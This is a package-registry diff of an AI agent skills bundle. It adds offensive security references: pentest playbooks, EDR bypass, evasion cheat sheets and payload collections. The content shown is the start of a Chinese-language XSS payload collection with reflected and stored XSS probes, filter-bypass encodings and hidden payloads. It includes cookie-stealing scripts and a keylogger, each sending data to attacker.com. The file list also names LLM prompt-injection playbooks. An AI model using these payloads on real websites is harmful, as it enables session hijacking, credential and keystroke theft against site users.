opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,1465 @@
1
+ # XSS跨站脚本
2
+
3
+ _12 条 web payload_
4
+
5
+ ### 反射型XSS `xss-reflected`
6
+ _反射型跨站脚本攻击技术_
7
+ 子类:**反射型** · tags: `xss` `reflected` `javascript`
8
+
9
+ **前置条件:**
10
+ - 存在用户输入反射到页面
11
+ - 输入未经过滤或编码
12
+
13
+ **攻击链:**
14
+
15
+ **1. 探测XSS注入点**
16
+ > 基础XSS探测
17
+ ```
18
+ <script>alert(1)</script>
19
+ <img src=x onerror=alert(1)>
20
+ <svg onload=alert(1)>
21
+ " onfocus=alert(1) autofocus "
22
+ ```
23
+ **语法解析:**
24
+ - `<script>` — HTML script标签 _tag_
25
+ - `alert(1)` — JavaScript弹窗函数 _function_
26
+ - `onerror` — 图片加载错误事件 _value_
27
+ - `onload` — 元素加载完成事件 _value_
28
+
29
+ **2. 事件处理器绕过**
30
+ > 使用各种事件处理器
31
+ ```
32
+ <img src=x onerror=alert(1)>
33
+ <body onload=alert(1)>
34
+ <input onfocus=alert(1) autofocus>
35
+ <marquee onstart=alert(1)>
36
+ <video><source onerror=alert(1)>
37
+ <audio src=x onerror=alert(1)>
38
+ ```
39
+ **语法解析:**
40
+ - `onerror` — 错误事件 _value_
41
+ - `onload` — 加载事件 _value_
42
+ - `onfocus` — 获取焦点事件 _value_
43
+ - `onstart` — 开始事件 _value_
44
+
45
+ **3. 标签绕过**
46
+ > 大小写混淆和标签变形
47
+ ```
48
+ <ScRiPt>alert(1)</ScRiPt>
49
+ <IMG SRC=x OnErRoR=alert(1)>
50
+ <svg/onload=alert(1)>
51
+ <details/open/ontoggle=alert(1)>
52
+ ```
53
+ **语法解析:**
54
+ - `ScRiPt` — 大小写混合绕过 _value_
55
+ - `svg/onload` — 使用斜杠代替空格 _value_
56
+
57
+ **4. 窃取Cookie**
58
+ > 窃取用户Cookie
59
+ ```
60
+ <script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>
61
+ <script>fetch("http://attacker.com/steal?c="+document.cookie)</script>
62
+ <script>location="http://attacker.com/steal?c="+document.cookie</script>
63
+ ```
64
+ **语法解析:**
65
+ - `document.cookie` — 获取当前页面Cookie _function_
66
+ - `new Image().src` — 创建图片对象发送请求 _value_
67
+ - `fetch()` — 使用Fetch API发送请求 _function_
68
+
69
+ **5. 键盘记录**
70
+ > 记录用户键盘输入
71
+ ```
72
+ <script>
73
+ document.onkeypress=function(e){
74
+ fetch("http://attacker.com/log?key="+e.key)
75
+ }
76
+ </script>
77
+ ```
78
+ **语法解析:**
79
+ - `onkeypress` — 键盘按下事件 _value_
80
+ - `e.key` — 按下的键值 _value_
81
+
82
+ **WAF/EDR 绕过变体:**
83
+
84
+ **HTML实体编码**
85
+ > 使用HTML实体编码绕过
86
+ ```
87
+ <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
88
+ <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
89
+ ```
90
+ **语法解析:**
91
+ - `&#97;` — a的十进制HTML实体 _encoding_
92
+ - `&#x61;` — a的十六进制HTML实体 _encoding_
93
+
94
+ **Unicode编码**
95
+ > 使用Unicode编码绕过
96
+ ```
97
+ <script>\u0061lert(1)</script>
98
+ <img src=x onerror=\u0061lert(1)>
99
+ ```
100
+ **语法解析:**
101
+ - `\a` — a的Unicode编码 _value_
102
+
103
+ **双写绕过**
104
+ > 双写绕过关键字删除
105
+ ```
106
+ <scr<script>ipt>alert(1)</scr</script>ipt>
107
+ <imimgg src=x onerror=alert(1)>
108
+ ```
109
+ **语法解析:**
110
+ - `<scr<script>` — HTML标签/事件处理器 _tag_
111
+ - `ipt>alert(1)` — 注入代码 _value_
112
+ - `</scr</script>` — HTML标签/事件处理器 _tag_
113
+ - `ipt>
114
+ ` — 注入代码 _value_
115
+ - `<imimgg src=x onerror=alert(1)>` — HTML标签/事件处理器 _tag_
116
+
117
+ **注释混淆**
118
+ > 使用注释混淆
119
+ ```
120
+ <script>/**/alert(1)/**/</script>
121
+ <img src=x/**/onerror=alert(1)>
122
+ <svg on<!--test-->load=alert(1)>
123
+ ```
124
+ **语法解析:**
125
+ - `<script>` — HTML标签/事件处理器 _tag_
126
+ - `/**/alert(1)/**/` — 注入代码 _value_
127
+ - `</script>` — HTML标签/事件处理器 _tag_
128
+ - `
129
+ ` — 注入代码 _value_
130
+ - `<img src=x/**/onerror=alert(1)>` — HTML标签/事件处理器 _tag_
131
+ - `
132
+ ` — 注入代码 _value_
133
+ - `<svg on<!--test-->` — HTML标签/事件处理器 _tag_
134
+ - `load=alert(1)>` — 注入代码 _value_
135
+
136
+
137
+ **概述:** XSS反射型跨站脚本攻击是最常见的XSS类型,恶意脚本通过URL参数传递给服务器后直接回显在响应页面中,需要诱导受害者点击恶意链接才能触发执行。
138
+
139
+ **漏洞原理:** 反射型XSS漏洞发生在服务器将用户输入(URL参数、表单字段、HTTP头)未经转义直接嵌入HTML响应中。常见触发点包括搜索结果页、错误页面、404页面中回显用户输入的位置。
140
+
141
+ **利用方法:** 完整利用流程:
142
+ 1. 探测XSS注入点
143
+ 2. 绕过过滤机制
144
+ 3. 构造恶意payload
145
+ 4. 诱使受害者点击链接
146
+ 5. 窃取Cookie或执行恶意操作
147
+
148
+ **防御措施:** 防御措施:
149
+ 1. 对所有用户输入进行HTML实体编码
150
+ 2. 使用CSP (Content-Security-Policy)
151
+ 3. 设置HttpOnly Cookie标志
152
+ 4. 输入验证和白名单过滤
153
+
154
+ ---
155
+
156
+ ### 存储型XSS `xss-stored`
157
+ _存储型跨站脚本攻击技术_
158
+ 子类:**存储型** · tags: `xss` `stored` `persistent`
159
+
160
+ **前置条件:**
161
+ - 存在数据存储功能
162
+ - 存储数据未经过滤显示
163
+
164
+ **攻击链:**
165
+
166
+ **1. 探测存储点**
167
+ > 探测存储型XSS
168
+ ```
169
+ 在评论区、用户名、个人简介等处输入:
170
+ <script>alert(1)</script>
171
+ "><script>alert(1)</script>
172
+ 测试是否存储并执行
173
+ ```
174
+ **语法解析:**
175
+ - `在评论区、用户名、个人简介等处输入:
176
+ ` — 注入代码 _value_
177
+ - `<script>` — HTML标签/事件处理器 _tag_
178
+ - `alert(1)` — 注入代码 _value_
179
+ - `</script>` — HTML标签/事件处理器 _tag_
180
+ - `
181
+ ">` — 注入代码 _value_
182
+ - `<script>` — HTML标签/事件处理器 _tag_
183
+ - `alert(1)` — 注入代码 _value_
184
+ - `</script>` — HTML标签/事件处理器 _tag_
185
+ - `
186
+ 测试是否存储并执行` — 注入代码 _value_
187
+
188
+ **2. 隐蔽Payload**
189
+ > 使用隐蔽的XSS payload
190
+ ```
191
+ <img src=x onerror=alert(1) style="display:none">
192
+ <svg/onload=alert(1) style="position:absolute;left:-9999px">
193
+ <div style="background:url(javascript:alert(1))">
194
+ ```
195
+ **语法解析:**
196
+ - `style="display:none"` — 隐藏元素 _value_
197
